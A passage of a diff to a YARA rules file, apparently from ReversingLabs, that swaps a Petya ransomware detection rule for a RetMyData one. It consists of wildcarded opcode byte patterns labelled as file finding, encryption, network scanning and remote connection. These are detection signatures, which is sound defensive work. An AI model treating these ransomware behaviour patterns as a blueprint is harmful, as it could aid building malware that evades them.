-            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
-            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
-            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
-            ?? E9
+		$find_files_p1 = {
+            FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B 41 ?? C1 E0 ?? 8B 4D ?? 8B 49 ?? 03 C8 FF 15
+            ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? FF 15 ?? ??
+            ?? ?? 8D 55 ?? 8B 4D ?? 83 C1 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
+            4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
+            E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D
         }
-		$encrypt_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            8B 43 ?? 2B 43 ?? 75 ?? 8B 75 ?? 8B 45 ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? 89 06 89 4E
-            ?? 8B 4D ?? 89 4E ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? 83 7B ?? ?? 74
-            ?? 8B 45 ?? 2B 45 ?? 50 E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 8B 55 ?? 2B F2 56 52 57 E8 ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
-            56 89 75 ?? E8 ?? ?? ?? ?? 56 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 83 C4
-            ?? 50 56 6A ?? 6A ?? 6A ?? FF 73 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 85 C0 75 ?? 8B 75 ??
-            89 45 ?? 89 45 ?? 89 45 ?? 89 06 89 46 ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 ?? ?? FF 75 ?? E8
-            ?? ?? ?? ?? FF 75 ?? 56 8B 75 ?? 56 E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 4D ?? 8B 45
-            ?? C7 45 ?? ?? ?? ?? ?? 89 4F ?? 8D 4D ?? 89 37 89 47 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ??
-            ?? ?? 59 5F 5E 5B 8B E5 5D C2
+		$find_files_p2 = {
+            8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55
+            ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8
+            ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75
+            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 11 89 95 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B 4D ?? 89 48 ?? 8B 55
+            ?? 89 50 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B
+            4D ?? 89 48 ?? 8B 55 ?? 89 50 ?? 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 91
+            ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? EB ?? 8D
+            4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ??
+            ?? C3 C3 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
+            5F 5E 5B 8B E5 5D C2
         }
-		$remote_connection_p1 = {
-            55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7
-            45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 56 57 FF 15 ?? ?? ?? ??
-            8B 75 ?? 8B C8 8B D6 E8 ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? 8B CE
-            E8 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB
-            ?? 81 F9 ?? ?? ?? ?? 74 ?? 81 F9 ?? ?? ?? ?? 74 ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5
-            5D C3
+		$encrypt_files_p1 = {
+            55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? FF 15 ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 52 66 8B 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 6A ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 50 6A ?? 6A ??
+            8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66
+            8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B
+            55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 8B
+            02 8B 4D ?? 51 FF 50 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52
+            8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 66 89 45
+            ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 8B 02 50 66 8B 4D ?? 51
         }
-		$remote_connection_p2 = {
-            55 8B EC 51 53 56 8B F1 57 8B 46 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 80 7D ?? ?? 6A ??
-            74 ?? 8B 4E ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 45 ?? 8B 08
-            83 F9 ?? 75 ?? 8B 4E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ??
-            ?? 8B 45 ?? 8B 7D ?? 57 89 45 ?? 8D 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75
-            ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 8B D8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? B8 ?? ?? ??
-            ?? EB ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C1 85 DB 74 ?? 3D ?? ?? ?? ?? 74 ?? FF
-            75 ?? 8B 4E ?? 50 57 E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 4E ?? 57 E8 ?? ?? ??
-            ?? 5F 5E 5B 59 5D C2
+		$encrypt_files_p2 = {
+            6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? FF 15 ??
+            ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 89 45 ?? 83 7D
+            ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ??
+            EB ?? C7 45 ?? ?? ?? ?? ?? 66 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 8D 45 ?? 50 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? FF 15
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 8B 45 ?? 8B 08 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 50 8B 45 ?? 8B 08 51 8D 55 ?? 52
+            FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15
+            ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ??
+            FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D
+            ?? FF 15 ?? ?? ?? ?? C3 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15
+            ?? ?? ?? ?? C3 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B
+            45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2
         }
-		$remote_connection_p3 = {
-            55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45
-            ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B C8 8B D6 E8
-            ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ??
-            68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 5D C3
+		$scan_network_p1 = {
+            55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52
+            FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 4D ?? 51 8B
+            95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ??
+            83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? FF
+            15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D
+            4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D
+            45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D
+            4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ??
+            8B 08 8B 55 ?? 52 FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2
+            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF
+        }
+		$scan_network_p2 = {
+            15 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF
+            15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
+            ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ??
+            ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82
+            50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 2B
+            51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? B9
+            ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
+            ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B
+            42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA
+            ?? ?? ?? ?? 2B 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
+            ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ??
+            33 C9 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B
+            55 ?? 33 C0 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
+            ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 5D ??
+            C7 45 ?? ?? ?? ?? ?? DD 45 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 41 ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+        }
+		$scan_network_p3 = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ??
+            ?? 52 8D 85 ?? ?? ?? ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 8B 02 89 85 ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ??
+            ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15
+            ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B 11 8B 85 ?? ?? ?? ?? 50 FF 52 ?? DB E2 89 85 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95
+            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 55 ?? 52
+            FF 15 ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 51 ?? DB E2 89
+            85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
+        }
+		$scan_network_p4 = {
+            8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52
+            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 50 8D 4D ?? 51
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ??
+            51 FF 50 ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 9B 68 ?? ?? ?? ?? EB ?? 8D
+            4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ??
+            83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C3 8D 85 ?? ?? ??
+            ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? FF 15 ?? ?? ??
+            ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? C3 8B 4D
+            ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B 45 ?? 8B 4D ?? 64 89
+            0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($scan_network_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Petya : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Retmydata : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Petya ransomware."
+		description = "Yara rule that detects RetMyData ransomware."
 		author = "ReversingLabs"
-		id = "93d9fb33-88d1-50ec-bf99-1888201c0ec2"
+		id = "f7a091d9-7ace-5aad-95b4-d5101fa7fdea"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Petya.yara#L3-L58"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d2adafcb21b627d614eab79e64e2b96ad09fae796d0670452a19490d8781ce99"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.RetMyData.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "54ce38d75e9ab82a77b9c338f75e180e19ac745f149289c7478a4aa3b44d70fd"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35567,56 +37146,72 @@ rule REVERSINGLABS_Win32_Ransomware_Petya : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Petya"
+		tc_detection_name = "RetMyData"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$entry_point = {
-            55 8B EC 56 8B 75 ?? 57 83 FE ?? 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 8B F8 85 F6 75 ?? E8 ??
-            ?? ?? ?? 8B C7 5F 5E 5D C2
-        }
-		$shutdown_pattern = {
-            55 8B EC 83 EC ?? 8D 45 ?? 56 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0
-            75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 56 56 8D
-            45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 56 56 56 68 ?? ?? ?? ?? FF D0 33 C0 83 C4 ?? 40 5E 8B
-            E5 5D C3
+		$find_files = {
+            55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 9D ?? ?? ?? ?? 8B 04 04
+            C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 40 51 51 0F 84 ?? ?? ?? ?? 8D
+            B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85
+            C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ??
